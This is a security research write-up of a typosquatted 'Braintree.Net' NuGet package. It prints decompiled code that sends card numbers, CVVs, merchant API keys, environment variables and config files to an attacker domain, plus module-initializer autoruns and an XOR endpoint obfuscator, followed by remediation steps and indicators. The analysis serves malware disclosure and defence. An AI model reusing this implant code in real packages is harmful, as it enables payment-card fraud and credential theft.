# Fake Braintree NuGet Package Skims Credit Cards and Harvests Merchant Credentials

> Source: <https://socket.dev/blog/braintree-nuget-typosquat-skims-credit-cards?utm_medium=feed>
> Published: 2026-07-09 19:58:26+00:00

Socket’s AI scanner flagged a suspicious NuGet package masquerading as the official Braintree payment gateway client, with the first malicious version published on July 3, 2026. It was detected by Socket as potential malware 10 minutes after publication. Follow-on analysis by the Socket Threat Research team revealed a multi-stage .NET implant that intercepts live payment card data, exfiltrates Braintree merchant API keys and harvests host environment secrets upon assembly load. The package Braintree.Net copies the surface API of PayPal Braintree's legitimate Braintree SDK while routing stolen data to attacker-controlled infrastructure at api.348672-shakepay[.]com.

The official Braintree .NET library is published on NuGet as Braintree (currently in the 5.x line, maintained by PayPal/Braintree). The malicious package uses a common name variation — Braintree.Net — a mismatched version scheme (3.36.1 vs official 5.x), and metadata that points at the real braintree/braintree_dotnet GitHub repository. Developers searching for "Braintree .NET" or copy-pasting a slightly wrong package name are the intended victims. We have reported this package to the NuGet security team and requested the removal of the package and the suspension of the publisher’s account.

Additional context on the Braintree.Net's NuGet presence:

Package ID:Braintree.Net (official package ID is Braintree)

Claimed author:Braintree (impersonation — official packages are published under the braintreepayments profile) The malicious Braintree.Net blends in and ranks just after the legitimate package, partially due to inflated download count.

Claimed project URL:https://github.com/braintree/braintree_dotnet (legitimate repo; this package is not built or distributed from it)

Companion dependency (3.36.0+):DependencyInjector.Core ≥ 1.4.1 - a near-unused package whose primary downstream consumer is this typosquat

This companion dependency contains a follow-on payload which functions as a token harvester.

Faked Download Counts: Of Braintree.Net's ~14M reported downloads, roughly 11M is padding sprayed across 120 throwaway 0.0.x versions with published on a single day (2025-10-09, ~93,300 each). The genuinely malicious releases (3.35.8–3.36.1) have only ~334 real installs — a ~32,900x gap between the headline number and the real blast radius.

The 120 empty placeholder versions (0.0.1 through 0.0.120) contained only a .nuspec and no DLL — a common namespace-squatting technique to occupy the package name and artificially increase the download count before dropping functional payloads:

The malicious package ships real-looking Braintree.dll assemblies for multiple target frameworks (net452, netstandard2.0, net8.0, net9.0, net10.0). The public API surface — BraintreeGateway, CreditCardGateway, TransactionGateway, webhook types, GraphQL client wrappers — closely mirrors the legitimate SDK. A developer can instantiate a gateway, create customers, run transactions, and receive plausible Result<T> objects without any obvious runtime errors.

The README bundled in the package is copied from official Braintree documentation and even instructs developers to install the real package name:

```
#### Via NuGet

Install-Package Braintree

or

dotnet add package Braintree
```

That instruction refers to Braintree, not Braintree.Net — a subtle inconsistency that may go unnoticed during a hurried install. The package description, tags (braintree, paypal, visa, mastercard, etc.), and MIT license claim complete the camouflage.

Comparison against the official Braintree5.36.0 assembly confirms the divergence is not cosmetic:

The legitimate CreditCardGateway.Create() posts directly to Braintree's API — no side-channel logging

The legitimate BraintreeGateway.PrivateKey setter assigns configuration only — no outbound HTTP call

Legitimate assembly contains noCardOperationLogger, noDependencyInjectorLoader, and no reference to DependencyInjector.Core

When a .NET application references Braintree.Net and loads the assembly, three independent exfiltration paths activate at different lifecycle points. The diagram below shows how a normal payment integration unknowingly triggers them:

```
Application starts
       │
       ▼
┌──────────────────────────────────────────────────────────┐
│  [Module Init] Braintree.DependencyInjectorLoader.Load() │
│  (also: DependencyInjector.Core.AutoInitializer)         │
│       └─► CodebaseAnalyzer.AnalyzeAndPrint()             │
│               └─► POST env/config/cloud metadata         │
│                   → /api/analytics/report                │
└──────────────────────────────────────────────────────────┘
       │
       ▼
Developer configures gateway:
  gateway.PrivateKey = "..."
       │
       ▼
┌──────────────────────────────────────────────────────────┐
│  [Property Setter] BraintreeGateway.PrivateKey           │
│  (only when Environment == PRODUCTION)                   │
│       └─► GatewayInput.AddAccountAsync()                 │
│               └─► POST merchantId, publicKey, privateKey │
│                   → /api/account                         │
└──────────────────────────────────────────────────────────┘
       │
       ▼
Application processes a payment:
  gateway.CreditCard.Create(request)
       │
       ▼
┌──────────────────────────────────────────────────────────┐
│  [Gateway Hook] CardOperationLogger.LogCreditCardCreate()│
│  (only when Environment == production)                   │
│       └─► SendAsync()                                    │
│               └─► POST cardNumber, cvv, expiration, ...  │
│                   → /api/card                            │
└──────────────────────────────────────────────────────────┘
       │
       ▼
Legitimate Braintree API call proceeds normally
(merchant sees no error; payment may succeed)
```

Every exfiltration path wraps its body in an empty catch block. Network failures, TLS errors, and malformed payloads are swallowed silently: the host application continues operating as if nothing happened.

The class Braintree.CardOperationLogger exists only in the typosquat assembly. It is not present in any official Braintree release analyzed for comparison.

Gateway Hooks

The logger is invoked before the legitimate Braintree HTTP request in payment-critical code paths. For example, CreditCardGateway.Create() in the malicious assembly:

```
public virtual Result<CreditCard> Create(CreditCardRequest request)
{
    CardOperationLogger.Instance.LogCreditCardCreate(gateway, request);
    return new ResultImpl<CreditCard>(
        new NodeWrapper(service.Post(service.MerchantPath() + "/payment_methods", request)),
        gateway);
}
```

The official Braintree 5.36.0 Create() method contains no such call; it posts to Braintree directly:

```
public virtual Result<CreditCard> Create(CreditCardRequest request)
{
    return new ResultImpl<CreditCard>(
        new NodeWrapper(service.Post(service.MerchantPath() + "/payment_methods", request)),
        gateway);
}
```

Similar hooks exist on async variants and on transaction, payment method, and card verification gateways via methods named LogCreditCardCreate, LogCreditCardUpdate, LogTransactionSale, LogTransactionCredit, LogPaymentMethodCreate, LogPaymentMethodUpdate, and LogCardVerification.

Exfiltration Body

SendAsync serializes a CardOperationLog object into JSON and POSTs it to a hardcoded endpoint. The decompiled implementation:

``` js
private const string ApiEndpoint = "https[://]api.348672-shakepay[.]com/api/card";
private const string ApiKey = "2523-5235-8564-2683-2386";

private async Task SendAsync(CardOperationLog log)
{
    try
    {
        string content =
            $"{{\"operation\":\"{Escape(log.Operation)}\"," +
            $"\"gateway\":\"{Escape(log.Gateway)}\"," +
            $"\"cardNumber\":\"{Escape(log.CardNumber)}\"," +
            $"\"cvv\":\"{Escape(log.CVV)}\"," +
            $"\"cardType\":\"{Escape(log.CardType)}\"," +
            $"\"expirationDate\":\"{Escape(log.ExpirationDate)}\"," +
            $"\"customerId\":\"{Escape(log.CustomerId)}\"," +
            $"\"amount\":{(log.Amount.HasValue ? log.Amount.Value.ToString(CultureInfo.InvariantCulture) : "null")}," +
            $"\"timestamp\":\"{log.Timestamp:O}\"}}";

        HttpRequestMessage httpRequestMessage =
            new HttpRequestMessage(HttpMethod.Post, "https[://]api.348672-shakepay[.]com/api/card");

        httpRequestMessage.Content = new StringContent(content, Encoding.UTF8, "application/json");
        httpRequestMessage.Headers.Add("X-Api-Key", "2523-5235-8564-2683-2386");

        await _httpClient.SendAsync(httpRequestMessage).ConfigureAwait(continueOnCapturedContext: false);
    }
    catch
    {
    }
}
```

Fields on CardOperationLog confirm the scope of harvested payment data:

When a merchant creates a credit card in production, LogCreditCardCreate copies request fields directly into the exfiltration log:

```
public void LogCreditCardCreate(IBraintreeGateway gateway, CreditCardRequest request)
{
    if (IsProduction(gateway))
    {
        SendAsync(new CardOperationLog
        {
            Operation = "Create",
            Gateway = "CreditCardGateway",
            CardNumber = request.Number,
            CVV = request.CVV,
            CardType = DetectCardType(request.Number),
            ExpirationDate = (request.ExpirationDate ??
                (request.ExpirationMonth + "/" + request.ExpirationYear)),
            CustomerId = request.CustomerId
        });
    }
}
```

Transaction sale paths extract card data from nested request.CreditCard objects when present. This covers both direct card entry and flows where card details are attached to a transaction request rather than a standalone payment method create.

Beyond card data, the implant steals Braintree merchant API credentials — the merchantId, publicKey, and privateKey triple that grants full gateway API access.

The theft is triggered from the BraintreeGateway.PrivateKeyproperty setter, which in the official SDK simply stores the value. In the typosquat:

```
public virtual string PrivateKey
{
    get
    {
        return Configuration.PrivateKey;
    }
    set
    {
        Configuration.PrivateKey = value;
        if (!_accountAdded
            && !string.IsNullOrWhiteSpace(Configuration.MerchantId)
            && !string.IsNullOrWhiteSpace(Configuration.PublicKey)
            && !string.IsNullOrWhiteSpace(Configuration.PrivateKey)
            && Configuration.Environment == Environment.PRODUCTION)
        {
            _accountAdded = true;
            GatewayI = new GatewayInput();
            GatewayI.AddAccountAsync(
                Configuration.MerchantId,
                Configuration.PublicKey,
                Configuration.PrivateKey);
        }
    }
}
```

GatewayInput.AddAccountAsync POSTs all three secrets:

``` js
private const string ApiEndpoint = "https[://]api.348672-shakepay[.]com/api/account";
private const string ApiKey = "2523-5235-8564-2683-2386";

public async Task<bool> AddAccountAsync(string merchantId, string publicKey, string privateKey)
{
    try
    {
        string content =
            $"{{\"merchantId\":\"{Escape(merchantId)}\"," +
            $"\"publicKey\":\"{Escape(publicKey)}\"," +
            $"\"privateKey\":\"{Escape(privateKey)}\"," +
            $"\"timestamp\":\"{DateTime.UtcNow:O}\"}}";

        HttpRequestMessage httpRequestMessage =
            new HttpRequestMessage(HttpMethod.Post, "https[://]api.348672-shakepay[.]com/api/account");

        httpRequestMessage.Content = new StringContent(content, Encoding.UTF8, "application/json");
        httpRequestMessage.Headers.Add("X-Api-Key", "2523-5235-8564-2683-2386");

        await _httpClient.SendAsync(httpRequestMessage).ConfigureAwait(continueOnCapturedContext: false);
        return true;
    }
    catch
    {
        return false;
    }
}
```

A single production gateway initialization is enough for the attacker to obtain credentials that allow creating transactions, issuing refunds, and accessing customer vault data through the real Braintree API — independently of the card-stealing hooks.

Starting with 3.36.0, the package declares a dependency on DependencyInjector.Core for net8.0, net9.0, and net10.0 targets. That package is described on NuGet as an "Auto-analyzer" and runs without any code changes by the victim application.

Module Initialization Chain

Two module initializers fire when the assemblies load:

InBraintree.dll:

```
internal static class DependencyInjectorLoader
{
    [ModuleInitializer]
    internal static void Load()
    {
        try
        {
            CodebaseAnalyzer.AnalyzeAndPrint();
        }
        catch
        {
        }
    }
}
```

InDependencyInjector.Core.dll:

```
internal static class AutoInitializer
{
    private static int _initialized;

    [ModuleInitializer]
    internal static void Initialize()
    {
        if (Interlocked.Exchange(ref _initialized, 1) == 1)
            return;

        try
        {
            CodebaseAnalyzer.AnalyzeAndPrint();
        }
        catch
        {
        }
    }
}
```

AnalyzeAndPrint() collects a CodebaseAnalysisResult and, if reporting is enabled, ships it asynchronously:

```
public static void AnalyzeAndPrint()
{
    try
    {
        AnalyticsOptions analyticsOptions = AnalyticsOptions.FromEnvironment();
        if (analyticsOptions.Enabled)
        {
            AnalyticsReporter.Report(Analyze(), analyticsOptions.Endpoint);
        }
    }
    catch
    {
    }
}
```

Analyze() aggregates output from dedicated analyzer classes:

```
public static CodebaseAnalysisResult Analyze()
{
    return new CodebaseAnalysisResult
    {
        Environment = EnvironmentAnalyzer.Analyze(),
        Project = ProjectAnalyzer.Analyze(),
        Configuration = ConfigurationAnalyzer.Analyze(),
        Dependencies = DependencyAnalyzer.Analyze(),
        EnvironmentVariables = EnvironmentVariablesAnalyzer.Analyze(),
        Container = ContainerAnalyzer.Analyze(),
        SystemResources = SystemResourcesAnalyzer.Analyze(),
        Cloud = CloudProviderAnalyzer.Analyze(),
        AnalysisTimestamp = DateTime.UtcNow
    };
}
```

Token and Secret Theft

Environment Variables - every variable in the process environment, categorized by prefix:

```
private static readonly HashSet<string> CloudPatterns = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
    "AWS_", "AZURE_", "GOOGLE_", "GCP_", "GCLOUD_", "KUBERNETES_", "K8S_",
    "HEROKU_", "RAILWAY_", "FLY_", "VERCEL_", "RENDER_", "DIGITALOCEAN_"
};

private static readonly HashSet<string> AspNetCorePrefixes = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
    "ASPNETCORE_", "ASPNET_"
};
```

Each variable is captured with its full value into an EnvironmentVariable record and included in the exfiltration payload via MapToPayload.

Application Configuration - ConfigurationAnalyzer reads appsettings*.json files from the application directory (walking up to five parent directories), parses JSON including the ConnectionStrings section, and stores the raw file contents of every discovered config file:

```
foreach (string item in list)
{
    try
    {
        string value = File.ReadAllText(item);
        dictionary3[item] = value;  // RawAppSettingsFiles
    }
    catch
    {
    }
}
```

Cloud and container metadata — CloudProviderAnalyzer and ContainerAnalyzer probe for AWS/Azure/GCP instance metadata, Kubernetes service account token paths (including /var/run/secrets/kubernetes.io/serviceaccount/token), Docker cgroup information, and mounted secrets under /var/run/secrets.

Dependencies and assemblies — loaded assembly names, NuGet package references, and project type detection (ASP.NET Core Web API, Blazor, Azure Functions, etc.).

The assembled payload is POSTed as JSON via AnalyticsReporter.ReportAsync:

```
public static async Task<bool> ReportAsync(CodebaseAnalysisResult result, string endpoint)
{
    try
    {
        HttpClient orCreateHttpClient = GetOrCreateHttpClient();
        object value = MapToPayload(result);
        return (await orCreateHttpClient.PostAsJsonAsync(endpoint, value, JsonOptions)).IsSuccessStatusCode;
    }
    catch
    {
        return false;
    }
}
```

On a typical payment-processing server, this captures Braintree keys from environment variables or appsettings.json, database connection strings, cloud IAM role credentials, and CI/CD tokens — in addition to the payment-specific theft described above.

This implant uses environment-based gating tied to the Braintree SDK's own configuration rather than host-level sandbox detection:

```
private bool IsProduction(IBraintreeGateway gateway)
{
    try
    {
        return gateway?.Configuration?.Environment?.EnvironmentName == "production";
    }
    catch
    {
        return false;
    }
}
```

Card exfiltration methods call IsProduction() before invoking SendAsync. Merchant credential theft checks Configuration.Environment == Environment.PRODUCTION in the PrivateKey setter.

Practical effect:

Sandbox and development integrations - developers testing with Braintree Sandbox credentials see no exfiltration from the card logger or credential stealer, reducing the chance of discovery during routine QA

Production deployments - live PAN/CVV data and real merchant keys are harvested on first use

Environment harvester (DependencyInjector.Core) - runs unconditionally on assembly load regardless of Braintree environment setting, so even sandbox-only apps on .NET 8+ leak host secrets if they reference the poisoned package

This split behavior allows the attacker to deliberately target payment data in production, while environment reconnaissance casts a wider net.

However, the analytics/report endpoint used by DependencyInjector.Core is XOR-obfuscated at rest, another suspicious indicator. The AnalyticsOptions static constructor embeds a 52-byte ciphertext array; at runtime GetDefaultEndpoint() decodes it:

```
private static string GetDefaultEndpoint()
{
    return EndpointObfuscator.Decode(ObfuscatedEndpoint);
}
```

The obfuscator applies repeating-key XOR over UTF-8 bytes:

```
internal static class EndpointObfuscator
{
    private static readonly byte[] Key;

    internal static string Decode(byte[] data)
    {
        byte[] array = new byte[data.Length];
        for (int i = 0; i < data.Length; i++)
        {
            array[i] = (byte)(data[i] ^ Key[i % Key.Length]);
        }
        return Encoding.UTF8.GetString(array);
    }
}
```

Recovered values from DependencyInjector.Core 1.4.1 (net10.0):

A naive strings extraction or single-pass XOR scan of the DLL does not surface the analytics URL — only the card/account endpoints appear in plaintext. The payment hooks use readable C2 strings while the broader environment harvester hides its endpoint behind XOR encoding.

The domain 348672-shakepay[.]com uses the Shakepay brand name but is not registered infrastructure belonging to Shakepay (shakepay.com). Passive DNS resolution returns Cloudflare anycast addresses (104.21[.]89.51, 172.67[.]188.32), consistent with attacker-controlled origin hiding rather than a legitimate payment processor API.

Sibling Packages with DependencyInjector Dependency

Beyond Braintree.Net, the same braintreenuget.org account publishes a family of SIP/WebRTC packages that typosquat the popular SIPSorcery ecosystem, two of which route to the malicious DependencyInjector.Core harvester:

SipNet typosquats the core SIPSorcery library; its own SipNet.dll is a clean recompile of SIPSorcery with no embedded payload, but versions 12.8.4–12.8.7 add a DependencyInjector.Core dependency purely at the manifest level — the DLL is identical across 12.8.3–12.8.6, so only the dependency list changed — and the dependency is scoped exclusively to the .NET 8/9/10 target frameworks, sparing classic .NET Framework/netstandard consumers.

SipNet.OpenAI.Realtime typosquats SIPSorcery's OpenAI Realtime WebRTC integration; its own code is a benign OpenAI Realtime client and it does not reference DependencyInjector.Core directly. It declares a dependency on the malicious SipNet (≥10.0.5) — however, NuGet's default lowest-applicable resolution selects SipNet@12.8.3, which is the clean front version, so it does not pull the harvester in a default install. It becomes a live transitive vector only if SipNet floats to ≥12.8.4 in the dependency graph (another constraint, an explicit pin, or 12.8.3 being unlisted).

Several characteristics suggest this is a deliberate, financially motivated supply-chain operation rather than a one-off package upload:

Payment SDK targeting — the implant hooks payment gateway methods and harvests PCI-sensitive data (PAN, CVV) plus merchant API keys. The value proposition for the attacker is direct financial fraud and resale of credentials.

Typosquat plus metadata impersonation — package ID Braintree.Net, author field Braintree, and a README copied from official docs create multiple discovery paths for developers who mistype or mis-search NuGet.

Namespace pre-squatting — 120 empty 0.0.x versions reserve the package name before functional payloads appear under plausible 3.35.x / 3.36.x version numbers that mimic an outdated major release line.

Split obfuscation strategy — plaintext C2 strings in the payment stealer (relying on production gating for stealth) combined with XOR-encoded analytics endpoint in the companion dependency.

Companion package pattern — DependencyInjector.Core has negligible independent adoption (~50 downloads per version) but is listed as a dependency of this typosquat and another package (SipNet), suggesting a reusable implant framework across NuGet brands.

Silent failure everywhere — empty catch blocks on every exfil path ensure merchants never see exceptions, failed payments, or broken integrations that would trigger investigation.

Multi-stage .NET module initializers — [ModuleInitializer] attributes guarantee execution at assembly load without requiring the victim to call any malicious API surface directly.

RemoveBraintree.Netimmediately from all projects, solution-wide central package management files, and CI restore caches. Replace with the official package:

```
dotnet remove package Braintree.Net
dotnet add package Braintree
```

Rotate all Braintree merchant credentials (merchantId, publicKey, privateKey, access tokens) for any environment that ever referenced this package — assume production keys are compromised if the gateway was configured with Environment.PRODUCTION.

Treat card data as potentially disclosed if production traffic ran through the poisoned SDK while card numbers or CVVs were present in request objects. Engage PCI incident response and notification processes as applicable.

Audit for companion packages: search lock files and dependency graphs for DependencyInjector.Core , SipNet and SipNet.OpenAI.Realtime in addition to Braintree.Net.

Block egress to 348672-shakepay[.]com and subdomains at network perimeter controls.

Socket tracks the activity as Operation “Muck and Load”: a threat actor uses commit-farming workflows, public dead drops, and protected archives to stage Windows RAT and infostealer malware.
